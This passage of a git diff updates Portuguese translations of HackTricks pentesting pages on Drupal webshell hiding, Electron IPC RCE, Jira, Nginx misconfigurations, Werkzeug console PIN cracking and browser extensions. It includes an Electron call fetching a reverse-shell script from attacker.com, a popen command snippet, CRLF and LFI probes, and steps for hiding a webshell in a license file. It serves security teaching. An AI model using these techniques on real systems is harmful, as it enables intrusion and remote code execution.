+Simplesmente porque se pegarmos o seguinte arquivo, por exemplo [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (que já está presente no núcleo do Drupal), temos um arquivo de 339 linhas e 17,6 KB de tamanho, o que é perfeito para adicionar um pequeno trecho de código PHP no meio (já que o arquivo é grande o suficiente).
+
+
+
+Arquivo: LICENSE.txt Patcheado
+```txt
+
+...
+
+this License, you may choose any version ever published by the Free Software
+Foundation.
+
+
+
+10. If you wish to incorporate parts of the Program into other free
+programs whose distribution conditions are different, write to the author
+
+...
+
+```
+#### **Parte 3.1 (upload do arquivo .htaccess)**
+
+Primeiro, aproveitamos o recurso _Adicionar Documento_ (/media/add/document) para fazer upload do nosso arquivo contendo as diretivas do Apache (.htaccess).
+
+
+
+
+
+
+
+**Parte 3.2 (upload do arquivo LICENSE.txt)**
+
+Em seguida, aproveitamos novamente o recurso _Adicionar Documento_ (/media/add/document) para fazer upload de um Webshell oculto dentro de um arquivo de licença.
+
+
+
+
+
+
+
+### Parte 4 (interação com o Webshell)
+
+A última parte consiste em interagir com o Webshell.
+
+Como mostrado na captura de tela a seguir, se o cookie esperado pelo nosso Webshell não estiver definido, obtemos o resultado subsequente ao consultar o arquivo via um navegador da Web.
+
+
+
+Quando o atacante define o cookie, ele pode interagir com o Webshell e executar os comandos que desejar.
+
+
+
+E, como você pode ver nos logs, parece que apenas um arquivo txt foi solicitado.
+
+
+
+Obrigado por dedicar seu tempo para ler este artigo, espero que ajude você a obter alguns shells.
diff --git a/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md b/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md
index f2ebc3f89..022d6e67b 100644
--- a/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md
+++ b/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md
@@ -14,19 +14,19 @@ Outras maneiras de apoiar o HackTricks:
-Se o script de pré-carregamento expõe um ponto de extremidade IPC do arquivo main.js, o processo de renderização poderá acessá-lo e, se vulnerável, um RCE pode ser possível.
+Se o script de pré-carregamento expõe um ponto de extremidade IPC a partir do arquivo main.js, o processo de renderização poderá acessá-lo e, se vulnerável, um RCE pode ser possível.
**A maioria desses exemplos foi retirada daqui** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo). Verifique o vídeo para mais informações.
## Exemplo 0
-Exemplo de [https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) (você tem o exemplo completo de como o MS Teams estava abusando de XSS para RCE nesses slides, este é apenas um exemplo muito básico):
+Exemplo de [https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) (você tem o exemplo completo de como o MS Teams estava sendo abusado de XSS a RCE nesses slides, este é apenas um exemplo muito básico):
-
+
## Exemplo 1
-Verifique como o `main.js` escuta em `getUpdate` e irá **baixar e executar qualquer URL** passado.\
+Verifique como o `main.js` escuta `getUpdate` e irá **baixar e executar qualquer URL** passado.\
Verifique também como `preload.js` **expõe qualquer evento IPC** do main.
```javascript
// Part of code of main.js
@@ -85,7 +85,7 @@ electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
```
## Exemplo 2
-Se o script de pré-carregamento expõe diretamente ao renderizador uma maneira de chamar `shell.openExternal`, é possível obter RCE.
+Se o script de pré-carregamento expõe diretamente ao renderizador uma forma de chamar `shell.openExternal`, é possível obter RCE.
```javascript
// Part of preload.js code
window.electronOpenInBrowser = (url) => {
@@ -106,12 +106,12 @@ ipcRenderer.send(event, data);
```
-Aprenda hacking AWS do zero ao herói comhtARTE (HackTricks AWS Red Team Expert)!
+Aprenda hacking na AWS do zero ao herói comhtARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
-* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
diff --git a/network-services-pentesting/pentesting-web/jira.md b/network-services-pentesting/pentesting-web/jira.md
index e33ae86a3..ba6fe4acb 100644
--- a/network-services-pentesting/pentesting-web/jira.md
+++ b/network-services-pentesting/pentesting-web/jira.md
@@ -4,17 +4,17 @@
Aprenda hacking AWS do zero ao herói comhtARTE (HackTricks AWS Red Team Expert)!
-Outras maneiras de apoiar o HackTricks:
+Outras formas de apoiar o HackTricks:
-* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Obtenha [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
-
+
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
@@ -22,9 +22,9 @@ Se você está interessado em uma **carreira de hacking** e hackear o inquebráv
### Verificar Privilégios
-No Jira, **os privilégios podem ser verificados** por qualquer usuário, autenticado ou não, através dos endpoints `/rest/api/2/mypermissions` ou `/rest/api/3/mypermissions`. Esses endpoints revelam os privilégios atuais do usuário. Uma preocupação notável surge quando **usuários não autenticados possuem privilégios**, indicando uma **vulnerabilidade de segurança** que poderia potencialmente ser elegível para uma **recompensa**. Da mesma forma, **privilégios inesperados para usuários autenticados** também destacam uma **vulnerabilidade**.
+No Jira, os **privilégios podem ser verificados** por qualquer usuário, autenticado ou não, através dos endpoints `/rest/api/2/mypermissions` ou `/rest/api/3/mypermissions`. Esses endpoints revelam os privilégios atuais do usuário. Uma preocupação notável surge quando **usuários não autenticados possuem privilégios**, indicando uma **vulnerabilidade de segurança** que poderia potencialmente ser elegível para uma **recompensa**. Da mesma forma, **privilégios inesperados para usuários autenticados** também destacam uma **vulnerabilidade**.
-Uma **atualização importante** foi feita em **1 de fevereiro de 2019**, exigindo que o endpoint 'mypermissions' inclua um **parâmetro de permissão**. Esse requisito visa **aumentar a segurança** especificando os privilégios sendo consultados: [verifique aqui](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
+Uma **atualização importante** foi feita em **1 de fevereiro de 2019**, exigindo que o endpoint 'mypermissions' inclua um **parâmetro 'permission'**. Essa exigência visa **aumentar a segurança** especificando os privilégios sendo consultados: [verifique aqui](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
* ADD\_COMMENTS
* ADMINISTER
@@ -78,7 +78,7 @@ curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"h
* [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe)
* [https://github.com/bcoles/jira\_scan](https://github.com/bcoles/jira\_scan)
-
+
Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
@@ -86,14 +86,14 @@ Se você está interessado em **carreira de hacking** e hackear o inquebrável -
-Aprenda hacking na AWS de zero a herói comhtARTE (HackTricks AWS Red Team Expert)!
+Aprenda hacking AWS de zero a herói comhtARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
diff --git a/network-services-pentesting/pentesting-web/nginx.md b/network-services-pentesting/pentesting-web/nginx.md
index be17c483c..38be8e7d1 100644
--- a/network-services-pentesting/pentesting-web/nginx.md
+++ b/network-services-pentesting/pentesting-web/nginx.md
@@ -2,19 +2,19 @@
-Aprenda hacking na AWS do zero ao herói comhtARTE (HackTricks AWS Red Team Expert)!
+Aprenda hacking AWS do zero ao herói comhtARTE (HackTricks AWS Red Team Expert)!
-Outras formas de apoiar o HackTricks:
+Outras maneiras de apoiar o HackTricks:
-* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
+* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
-
+
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde reconhecimento até relatórios. Não substituímos pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
@@ -35,11 +35,11 @@ proxy_pass http://127.0.0.1:8080/;
```
Nesta configuração, `/etc/nginx` é designado como o diretório raiz. Esta configuração permite o acesso a arquivos dentro do diretório raiz especificado, como `/hello.txt`. No entanto, é crucial notar que apenas uma localização específica (`/hello.txt`) está definida. Não há configuração para a localização raiz (`location / {...}`). Esta omissão significa que a diretiva raiz se aplica globalmente, permitindo que solicitações ao caminho raiz `/` acessem arquivos em `/etc/nginx`.
-Uma consideração de segurança crítica surge desta configuração. Uma simples solicitação `GET`, como `GET /nginx.conf`, poderia expor informações sensíveis ao servir o arquivo de configuração do Nginx localizado em `/etc/nginx/nginx.conf`. Definir a raiz como um diretório menos sensível, como `/etc`, poderia mitigar esse risco, no entanto, ainda poderia permitir acesso não intencional a outros arquivos críticos, incluindo outros arquivos de configuração, logs de acesso e até credenciais criptografadas usadas para autenticação básica HTTP.
+Uma consideração de segurança crítica surge desta configuração. Uma simples solicitação `GET`, como `GET /nginx.conf`, poderia expor informações sensíveis ao servir o arquivo de configuração do Nginx localizado em `/etc/nginx/nginx.conf`. Definir a raiz para um diretório menos sensível, como `/etc`, poderia mitigar esse risco, no entanto, ainda poderia permitir acesso não intencional a outros arquivos críticos, incluindo outros arquivos de configuração, logs de acesso e até credenciais criptografadas usadas para autenticação básica HTTP.
-## Configuração de Má Configuração de LFI de Alias
+## Configuração Incorreta de LFI com Alias
-Nos arquivos de configuração do Nginx, uma inspeção minuciosa é necessária para as diretivas "location". Uma vulnerabilidade conhecida como Inclusão de Arquivo Local (LFI) pode ser inadvertidamente introduzida através de uma configuração que se assemelha à seguinte:
+Nos arquivos de configuração do Nginx, uma inspeção minuciosa é necessária para as diretivas "location". Uma vulnerabilidade conhecida como Inclusão Local de Arquivos (LFI) pode ser inadvertidamente introduzida através de uma configuração que se assemelha à seguinte:
```
location /imgs {
alias /path/images/;
@@ -63,7 +63,7 @@ alias../../ => HTTP status code 403
alias../../../../../../../../../../../ => HTTP status code 400
alias../ => HTTP status code 403
```
-## Restrição de caminho insegura
+## Restrição de caminho insegura
Verifique a página a seguir para aprender como contornar diretivas como:
```plaintext
@@ -75,16 +75,12 @@ location = /admin/ {
deny all;
}
```
-{% content-ref url="../../pentesting-web/proxy-waf-protections-bypass.md" %}
-[proxy-waf-protections-bypass.md](../../pentesting-web/proxy-waf-protections-bypass.md)
-{% endcontent-ref %}
-
-## Uso de variáveis inseguras / Divisão de solicitação HTTP
+## Uso de variáveis inseguras / Divisão de Requisições HTTP
{% hint style="danger" %}
-Variáveis vulneráveis `$uri` e `$document_uri` e isso pode ser corrigido substituindo-os por `$request_uri`.
+As variáveis vulneráveis `$uri` e `$document_uri` podem ser corrigidas substituindo-as por `$request_uri`.
-Um regex também pode ser vulnerável como:
+Uma expressão regular também pode ser vulnerável, como:
`location ~ /docs/([^/])? { … $1 … }` - Vulnerável
@@ -99,7 +95,7 @@ location / {
return 302 https://example.com$uri;
}
```
-Os caracteres \r (retorno de carro) e \n (avanço de linha) significam novos caracteres de linha em solicitações HTTP, e suas formas codificadas em URL são representadas como `%0d%0a`. Incluir esses caracteres em uma solicitação (por exemplo, `http://localhost/%0d%0aDetectify:%20clrf`) para um servidor mal configurado resulta no servidor emitindo um novo cabeçalho chamado `Detectify`. Isso acontece porque a variável $uri decodifica os caracteres de nova linha codificados em URL, resultando em um cabeçalho inesperado na resposta:
+Os caracteres \r (retorno de carro) e \n (avanço de linha) significam novos caracteres de linha em solicitações HTTP, e suas formas codificadas em URL são representadas como `%0d%0a`. Incluir esses caracteres em uma solicitação (por exemplo, `http://localhost/%0d%0aDetectify:%20clrf`) para um servidor mal configurado resulta no servidor emitindo um novo cabeçalho chamado `Detectify`. Isso ocorre porque a variável $uri decodifica os caracteres de nova linha codificados em URL, resultando em um cabeçalho inesperado na resposta:
```
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
@@ -113,19 +109,19 @@ Saiba mais sobre os riscos de injeção de CRLF e divisão de resposta em [https
Também essa técnica é [**explicada nesta palestra**](https://www.youtube.com/watch?v=gWQyWdZbdoY\&list=PL0xCSYnG\_iTtJe2V6PQqamBF73n7-f1Nr\&index=77) com alguns exemplos vulneráveis e mecanismos de detecção. Por exemplo, Para detectar essa má configuração de uma perspectiva de caixa-preta, você poderia usar essas solicitações:
-- `https://example.com/%20X` - Qualquer código HTTP
-- `https://example.com/%20H` - 400 Solicitação Inválida
+* `https://example.com/%20X` - Qualquer código HTTP
+* `https://example.com/%20H` - 400 Solicitação Inválida
Se vulnerável, o primeiro retornará como "X" é qualquer método HTTP e o segundo retornará um erro, pois H não é um método válido. Assim, o servidor receberá algo como: `GET / H HTTP/1.1` e isso acionará o erro.
Outros exemplos de detecção seriam:
-- `http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x` - Qualquer código HTTP
-- `http://company.tld/%20HTTP/1.1%0D%0AHost:%20x` - 400 Solicitação Inválida
+* `http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x` - Qualquer código HTTP
+* `http://company.tld/%20HTTP/1.1%0D%0AHost:%20x` - 400 Solicitação Inválida
Algumas configurações vulneráveis encontradas apresentadas nessa palestra foram:
-- Observe como **`$uri`** é definido como está na URL final
+* Observe como **`$uri`** é definido como está na URL final
```
location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args;
@@ -137,7 +133,7 @@ location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
proxy_pass http://$back;
```
-* Agora na AWS S3
+* Agora no AWS S3
```
location /s3/ {
proxy_pass https://company-bucket.s3.amazonaws.com$uri;
@@ -145,7 +141,7 @@ proxy_pass https://company-bucket.s3.amazonaws.com$uri;
```
### Qualquer variável
-Foi descoberto que os **dados fornecidos pelo usuário** podem ser tratados como uma **variável Nginx** em determinadas circunstâncias. A causa desse comportamento ainda é um tanto elusiva, no entanto, não é rara nem simples de verificar. Essa anomalia foi destacada em um relatório de segurança no HackerOne, que pode ser visualizado [aqui](https://hackerone.com/reports/370094). Uma investigação mais aprofundada sobre a mensagem de erro levou à identificação de sua ocorrência dentro do [módulo de filtro SSI do código-fonte do Nginx](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx\_http\_ssi\_filter\_module.c#L365), apontando os Includes do Lado do Servidor (SSI) como a causa raiz.
+Foi descoberto que os **dados fornecidos pelo usuário** podem ser tratados como uma **variável Nginx** em certas circunstâncias. A causa desse comportamento ainda é um pouco elusiva, mas não é rara nem simples de verificar. Essa anomalia foi destacada em um relatório de segurança no HackerOne, que pode ser visualizado [aqui](https://hackerone.com/reports/370094). Uma investigação mais aprofundada sobre a mensagem de erro levou à identificação de sua ocorrência dentro do [módulo de filtro SSI do código-fonte do Nginx](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx\_http\_ssi\_filter\_module.c#L365), apontando os Includes do Lado do Servidor (SSI) como a causa raiz.
Para **detectar essa configuração incorreta**, o seguinte comando pode ser executado, que envolve definir um cabeçalho de referência para testar a impressão da variável:
```bash
@@ -163,7 +159,7 @@ def application(environ, start_response):
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
return [b"Secret info, should not be visible!"]
```
-Para gerenciar isso, são usadas diretivas específicas na configuração do Nginx:
+Para gerenciar isso, são utilizadas diretivas específicas na configuração do Nginx:
```
http {
error_page 500 /html/error.html;
@@ -178,7 +174,7 @@ Quando uma solicitação `GET` válida é feita, o Nginx a processa normalmente,
## merge\_slashes definido como off
-Por padrão, a diretiva **`merge_slashes` do Nginx** é definida como **`on`**, o que comprime múltiplas barras inclinadas em uma URL em uma única barra. Essa funcionalidade, enquanto otimiza o processamento de URL, pode inadvertidamente ocultar vulnerabilidades em aplicações por trás do Nginx, especialmente aquelas propensas a ataques de inclusão de arquivos locais (LFI). Os especialistas em segurança **Danny Robinson e Rotem Bar** destacaram os riscos potenciais associados a esse comportamento padrão, especialmente quando o Nginx atua como um proxy reverso.
+Por padrão, a diretiva **`merge_slashes` do Nginx** é definida como **`on`**, o que comprime múltiplas barras inclinadas em uma URL em uma única barra. Essa funcionalidade, enquanto simplifica o processamento de URLs, pode inadvertidamente ocultar vulnerabilidades em aplicações atrás do Nginx, especialmente aquelas propensas a ataques de inclusão de arquivos locais (LFI). Os especialistas em segurança **Danny Robinson e Rotem Bar** destacaram os riscos potenciais associados a esse comportamento padrão, especialmente quando o Nginx atua como um proxy reverso.
Para mitigar tais riscos, é recomendado **desativar a diretiva `merge_slashes`** para aplicações suscetíveis a essas vulnerabilidades. Isso garante que o Nginx encaminhe as solicitações para a aplicação sem alterar a estrutura da URL, não mascarando assim quaisquer problemas de segurança subjacentes.
@@ -188,7 +184,7 @@ Para mais informações, consulte [Danny Robinson e Rotem Bar](https://medium.co
Conforme mostrado neste [**artigo**](https://mizu.re/post/cors-playground), existem certos cabeçalhos que, se presentes na resposta do servidor web, alterarão o comportamento do proxy Nginx. Você pode verificá-los [**na documentação**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/):
-* `X-Accel-Redirect`: Indica ao Nginx redirecionar internamente uma solicitação para uma localização especificada.
+* `X-Accel-Redirect`: Indica ao Nginx para redirecionar internamente uma solicitação para uma localização especificada.
* `X-Accel-Buffering`: Controla se o Nginx deve ou não armazenar em buffer a resposta.
* `X-Accel-Charset`: Define o conjunto de caracteres para a resposta ao usar X-Accel-Redirect.
* `X-Accel-Expires`: Define o tempo de expiração para a resposta ao usar X-Accel-Redirect.
@@ -283,7 +279,7 @@ Nginxpwner é uma ferramenta simples para procurar por configurações incorreta
* [**http://blog.zorinaq.com/nginx-resolver-vulns/**](http://blog.zorinaq.com/nginx-resolver-vulns/)
* [**https://github.com/yandex/gixy/issues/115**](https://github.com/yandex/gixy/issues/115)
-
+
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
@@ -295,8 +291,8 @@ Nginxpwner é uma ferramenta simples para procurar por configurações incorreta
Outras maneiras de apoiar o HackTricks:
-* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/network-services-pentesting/pentesting-web/werkzeug.md b/network-services-pentesting/pentesting-web/werkzeug.md
index dfc7b4969..8bf331a01 100644
--- a/network-services-pentesting/pentesting-web/werkzeug.md
+++ b/network-services-pentesting/pentesting-web/werkzeug.md
@@ -14,7 +14,7 @@ Outras maneiras de apoiar o HackTricks:
-
+
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
@@ -28,11 +28,11 @@ __import__('os').popen('whoami').read();
```
![](<../../.gitbook/assets/image (117).png>)
-Também existem vários exploits na internet como [este](https://github.com/its-arun/Werkzeug-Debug-RCE) ou um no metasploit.
+Existem também vários exploits na internet como [este](https://github.com/its-arun/Werkzeug-Debug-RCE) ou um no metasploit.
## Protegido por PIN - Traversal de Caminho
-Em algumas ocasiões, o endpoint **`/console`** vai estar protegido por um PIN. Se você tiver uma **vulnerabilidade de travessia de arquivos**, pode vazar todas as informações necessárias para gerar esse PIN.
+Em algumas ocasiões, o endpoint **`/console`** será protegido por um PIN. Se você tiver uma **vulnerabilidade de traversal de arquivo**, pode vazar todas as informações necessárias para gerar esse PIN.
### Exploração de PIN do Console Werkzeug
@@ -154,7 +154,7 @@ rv = num
print(rv)
```
-Este script produz o PIN hashendo os bits concatenados, adicionando sais específicos (`cookiesalt` e `pinsalt`), e formatando a saída. É importante notar que os valores reais para `probably_public_bits` e `private_bits` precisam ser obtidos com precisão do sistema alvo para garantir que o PIN gerado corresponda ao esperado pelo console Werkzeug.
+Este script produz o PIN ao fazer hash dos bits concatenados, adicionando sais específicos (`cookiesalt` e `pinsalt`), e formatando a saída. É importante notar que os valores reais para `probably_public_bits` e `private_bits` precisam ser obtidos com precisão do sistema alvo para garantir que o PIN gerado corresponda ao esperado pelo console Werkzeug.
{% hint style="success" %}
Se você estiver em uma **versão antiga** do Werkzeug, tente mudar o **algoritmo de hash para md5** em vez de sha1.
@@ -162,7 +162,7 @@ Se você estiver em uma **versão antiga** do Werkzeug, tente mudar o **algoritm
## Caracteres Unicode do Werkzeug
-Como observado neste [**problema**](https://github.com/pallets/werkzeug/issues/2833), o Werkzeug não encerra uma solicitação com caracteres Unicode nos cabeçalhos. E como explicado neste [**artigo**](https://mizu.re/post/twisty-python), isso pode causar uma vulnerabilidade de Smuggling de Requisição CL.0.
+Como observado neste [**problema**](https://github.com/pallets/werkzeug/issues/2833), o Werkzeug não encerra uma solicitação com caracteres Unicode nos cabeçalhos. E como explicado neste [**artigo**](https://mizu.re/post/twisty-python), isso pode causar uma vulnerabilidade de Smuggling de Solicitação CL.0.
Isso ocorre porque, no Werkzeug, é possível enviar alguns caracteres **Unicode** e isso fará com que o servidor **quebre**. No entanto, se a conexão HTTP foi criada com o cabeçalho **`Connection: keep-alive`**, o corpo da solicitação não será lido e a conexão ainda estará aberta, então o **corpo** da solicitação será tratado como a **próxima solicitação HTTP**.
@@ -173,7 +173,7 @@ Isso ocorre porque, no Werkzeug, é possível enviar alguns caracteres **Unicode
* [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833)
* [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python)
-
+
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
@@ -185,10 +185,10 @@ Isso ocorre porque, no Werkzeug, é possível enviar alguns caracteres **Unicode
Outras maneiras de apoiar o HackTricks:
-* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/pentesting-web/browser-extension-pentesting-methodology/README.md b/pentesting-web/browser-extension-pentesting-methodology/README.md
index a6d653e1d..8a4a42e71 100644
--- a/pentesting-web/browser-extension-pentesting-methodology/README.md
+++ b/pentesting-web/browser-extension-pentesting-methodology/README.md
@@ -22,7 +22,7 @@ As extensões de navegador são escritas em JavaScript e carregadas pelo navegad
Os layouts de extensão ficam melhores quando visualizados e consistem em três componentes. Vamos analisar cada componente em detalhes.
-
+
### **Scripts de Conteúdo**
@@ -83,7 +83,7 @@ Exemplo:
```
### `content_scripts`
